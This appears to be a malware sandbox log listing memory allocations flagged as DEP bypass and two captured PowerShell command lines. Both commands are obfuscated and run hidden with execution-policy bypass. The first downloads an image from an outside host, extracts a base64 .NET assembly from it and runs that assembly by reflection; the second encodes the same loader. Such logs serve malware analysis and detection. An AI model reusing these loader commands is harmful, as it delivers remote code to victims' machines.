heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05040000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05041000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05042000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05043000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05044000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('KQkim'+'ageUrl = Zlihttps://uploaddeimagens.com.br/images/004/654/536/original/new_image.jpg?1698957750Zli;KQkwebClient'+' = New-Object System.Net.WebClient;KQkimageBytes = KQkwebClient.DownloadData(KQkimageUrl);K'+'QkimageText = [System.Text.Encoding]::UTF8.G'+'etString(KQkimageBytes);KQkstartFlag = Zli<<BASE64_START>>Zli;KQkendFl'+'ag = Zl'+'i<<B'+'A'+'SE64_END>>Zli;KQkstartIndex = KQkimageText.IndexOf(KQkstartFlag);KQkendIndex = KQkimageText.I'+'ndexOf(K'+'QkendFlag);KQks'+'tartIndex -g'+'e 0 -and KQkendIndex'+' '+'-gt KQkstart'+'Index;KQksta'+'rtIndex += KQksta'+'rtFlag.Length;KQkbase64'+'Length = KQkendIndex - KQkstartIndex;KQkbase64Command = KQkimageText.Substring'+'(KQ'+'ks'+'tartIndex, KQkbase64Length);KQkcommandBytes = [System.Convert]::FromBase'+'64String(KQkbase64'+'Command);KQkloadedAssembly = [Syste'+'m.Reflecti'+'on.Assembly]::Load(KQkcommandBytes);KQktype = KQkloa'+'dedAssembly.GetType(ZliFiber.HomeZli);KQkmethod = KQktype.GetMe'+'th'+'od(ZliVAIZli).Invo'+'ke(KQknull, [object[]] (ZlidHh0LnNtaG9nbi95dGlzYXYvcG90LnlvY2l0aXVxZS8vOnB'+'0dGg=Zli , ZlidfdfdZli , ZlidfdfZli , ZlidfdfZli '+', ZlidadsaZli , ZlideZli , ZlicuZli))').rEplAce(([Char]75+[Char]81+[Char]107),'$').rEplAce('Zli',[strinG][Char]39) |. ((VariAble '*mDr*').NAmE[3,11,2]-jOiN'')"
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('QfxHzcLOqm','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass 